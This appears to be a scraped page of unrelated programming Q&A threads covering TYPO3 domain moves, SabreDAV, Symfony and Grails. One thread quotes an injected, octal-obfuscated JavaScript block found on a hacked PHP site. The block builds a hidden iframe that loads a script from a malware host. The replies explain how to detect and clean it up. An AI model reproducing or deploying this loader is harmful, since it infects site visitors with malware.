typo3 website move to other domain - need help step by step - url
I just got a typo3 website and need to transfer to an other domain.
Is it enough to copy all the folders (except typo3temp?) to the new place?
First I just changed baseurl in ts but it didn't do anything..
Should I do anything with the database when it still on the same server?
In case your question is about "cloning" a complete TYPO3-system an rsync/copy of the whole folder (yes including typo3temp) is the best idea, as this works on all versions, everything else (like excluding typo3temp) depends a whole lot on your TYPO3 expertise to resolve. The database needs to be copied as well. If you need to change db-name or db-credentials on the new system you need to change them in
typo3conf/LocalConfiguration.php
As soon as you have done this Install Tool and Backend should work: At first try the Install Tool:
https://my.new.domain/typo3/install/
If that doesn't work your problem is with the webserver configuration or dns.
If that works (and the reports there show no errors), try the Backend:
https://my.new.domain/typo3/
In case your question is about which changes are necessary to your TYPO3-installation if domain changes and the web server itself is configured correctly, then there are probably two things you need to change, in order to make the frontend work (although both cases might be omitted, depending on your configuration):
sys_template record, if any of those use absRefPrefix or baseurl. If you have access to the MySQL-Database a
SELECT pid FROM sys_template WHERE config LIKE "%baseurl%" OR "%absRefPrefix";
might help finding the template, however these template configuration might also be stored in files (typically in fileadmin/templates/**)
sys_domain records, a MySQL
SELECT pid FROM sys_domain;
might uncover where those are stored
However these changes are only necessary to enable the frontend to work.
Add a domain record in the backend. And while you don't need the content of the typo3temp folder, make sure the folder actually exists.
When you go to the new domain name in your browser, what happens?
Do you get redirected to the old domain? If so, maybe there is an .htaccess redirect happening.
Do you get to the new domain, but if you click on a link end up on the old one?
Do you get an error? If so, what is the error?
Does something else happen?
Related
How do I make a simple public read-only WebDAV server with SabreDAV?
I recently began looking into WebDAV, as I found it to be an option for letting me play a Blu-ray folder remotely - i.e. without requiring the viewer to download the whole 24gb ISO first. Add a WebDAV source in Kodi v18 to a Blu-ray folder - and it actually plays! Very awesome. The server can also be mounted on Windows with net use m: http://example.com/webdavfolder/ or in Linux with sudo mount -t davfs http://example.com/webdavfolder/ /mnt/mywebdav -and should then (in theory) play with any software media players that supports Blu-ray Disc Java (BD-J), such as PowerDVD and VLC. vlc bluray:///mnt/mywebdav --bluray-menu PowerDVD.exe AUTOPLAY BD m: (Unless of course time-out values has been set too low, which seems to be the case for VLC at the moment). Anyway, all this is great, except I can't figure out how to make my WebDAV server read-only. Currently anyone can delete files as they wish, and that's of course not optimal. So far I've only experimented with SabreDAV, because afaik that's the only option I have if I want to keep using my existing webhost. Trying with very minimal setups, because I've read that minimal setups should default to a read-only solution. It just doesn't seem to happen. I initially used the setup from http://sabre.io/dav/gettingstarted/ and tried removing some lines. Also tried calling chmod 0444 MainFolder -R on the webserver. And I can see that everything does get a read-only attribute. But it changes nothing. It's still possible to delete whatever I want. :-( What am I missing? Maybe I'm using the wrong technology for what I want to do? Is there some other/better way of offering a Blu-ray folder for remote viewing? (One that includes the whole experience - i.e. full Java menus etc). I should probably mention that all of this is of course perfectly legal. It is my own Blu-ray project - not copyright material. Also: Difficult to decide if this belongs on StackOverflow or SuperUser. I ended up posting it on StackOverflow because SabreDAV is about coding, and because there's no sabredav tag on SuperUser.
You have two options: Create your own file/directory classes for sabre/dav that simply throw an error when trying to delete. You can basically start with a copy of Sabre\DAV\FS\Directory and Sabre\DAV\FS\File and change the methods that do writing. Since you're considering just using linux file permissions, really the key thing you are missing is that that 'deleting' is not controlled on the file or directory you're trying to delete. To delete a file or directory in unix, all you need is write permissions on the parent directory. However, I wouldn't recommend going this route as doing this will just cause a weird error in sabre/dav, which might leave clients in a confused state. It would result in a 500 error, not the expected 403 error.
Found This Hack in my web server php files
How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#
It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data. If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded. If you have no CMS, change your FTP & control panel passwords. As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it. To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux). I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do. Many of my files were infected with something like: <?php #8f4d8e# ... #/8f4d8e# ?> I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system. If you have SSH access to the server go to your document root and search for all files containing the string: grep -R "#8f4d8e#" . You could also look for your version of the god.php file... look for traces of R57, for example by issuing: grep -R "R57" . Mine had a big ASCII art drawing of a bug at the beginning of the file. I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company). What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.
Symfony 1.4 Backend app for admin fail on Prod environment
I have a perfectly working admin backend on my dev environment but it fails miserably on the prod environment. Specifically a bunch of problems arise : It is unable to read the symfony/web/sf/ directory hence not loading the required images though it states that a project has been successfully created. This however is not the case with the frontend leading me to believe that the problem is more sinister than what meets the eye. Though it loads the admin pages, the css is not loaded, even though admin.css is present in the web/css directory. I did an inspect element and the problem seems to be this, instead of routing to /web/css or /sfDoctrinePlugin or /web/js it prefixes the name of the app [controlcenter in my case] to everything, essentially rendering the HTML as: href = "/controlcenter/web/css" or href = "/controlcenter/js" or href = "/controlcenter/js" . And this does not happen at all on my dev environment and things render the way they do. Fixits anyone?
This was completely ridiculous of me to post this. I was simply trying to go to controlcenter/module which basically translates to backend/module for most people. The index file in this case is controlcenter.php, and upon accessing that, I get the website to render the way it ought to. Sorry for the confusion people. Hopefully someone drops in by and sees the answer for themselves. I should set up defaults in my routing.yml so that it automatically redirects without me having to type controlcenter.php Thanks
Hiding production passwords from unauthorized users in Symfony
Symfony worked great for us when we were a small team of trusted developers. Now however, we are getting more people to help out, which leads to a problem with managing production passwords checked into source control. I have production passwords for our DB, API keys, etc. stored in the Symfony config files which I do not want all developers to have access to. How can I hide these passwords from unauthorized developers and yet still grant them access to the source code?
If you're already using a version control: your first stop should be removing all passwords from the history in your versioning system. Good luck ;-) Next: isolate the files which have passwords in them. (Probably config/databases.yml and apps/<yourapp>/app.yml.). Copy/rename this files to *.yml.dist (for example: config/databases.yml.dist). Clean up all production passwords from these files, and leave only the bare minimum to keep it going. Make sure the original files don't appear in your VCS ever again. (svn ignore, or the likes). Now when you set up a new environment, you can just copy the *.dist files to their 'real' names. (What I did for my project is move all API keys to a single apikeys.yml in the config directory. That way all the properties in the app.yml keep being versioned, and my api keys don't appear in the VCS.
Hope you get the answer for your question. Recently I have implement these kind of works in my project.I think to store these kind of confidential data database is the safe options and get this data using filter is the best option no need to store your data in app.yml.
How to access files in the Project Directory with Grails
I needed some templates to render some code for users to paste. I put these into /project-dir/grails-app/resources/templates/quickInstallCode.html Then I tried accessing them using their relative path (grails-app/resources/templates/quickInstallCode.html), and it worked great. When we then deployed the application to a Tomcat Server, using a .war file, the paths began pointing to a wrong location. ERROR call, Template file /var/lib/tomcat6/grails-app/resources/templates/quickInstallCode.html not found. I assumed, that Grails, giving good defaults for everything would handle this mess for me, but it seems like it does not. I also tried this call, and it seemed to work great, but when deployed, the BuildSettingsHolder did not contain build Settings, which resulted in a fatal error. BuildSettingsHolder.settings.baseDir.toString() http://grails.org/doc/latest/api/grails/util/BuildSettingsHolder.html http://grails.org/doc/latest/api/grails/util/BuildSettings.html I am pretty frustrated that I cannot get this easy task to work, but the reason that this is so complicated seems to be that all Files are encapsuled in a WAR and not unpacked on the Server. So the Questions are: Where in your Project would you put Files like this? How to get a reliable and stable way to access this files? I just need a stable path to a base directory, without having to hardcode something in the configuration ... This cannot be so hard.
I have 2 solution to propose for this situation: Save the template in the database, in a setting table. This way guarantees that nothing can go wrong. You can consider using the resource folder like Sachin & Nirmal has proposed. About security, I think you can configure SpringSecurity Plugin to protect the specific resources, so that it can only be accessed by the site user.
Take a look at this link and try to use the getResource that spring provides. Its way more flexible and configurable.
def filePath = "resources/file.txt"
def appHolder=ApplicationHolder.application.parentContext.getResource("classpath:$filePath")
By the way Conf is on the root of the classpath, you can stick the files in src/java or src/groovy.
I keep my static resources in web-app folder and access them like this
ApplicationHolder.application.parentContext.servletContext.getRealPath("quickInstallCode.html")
// quickInstallCode.html should be in web-app folder.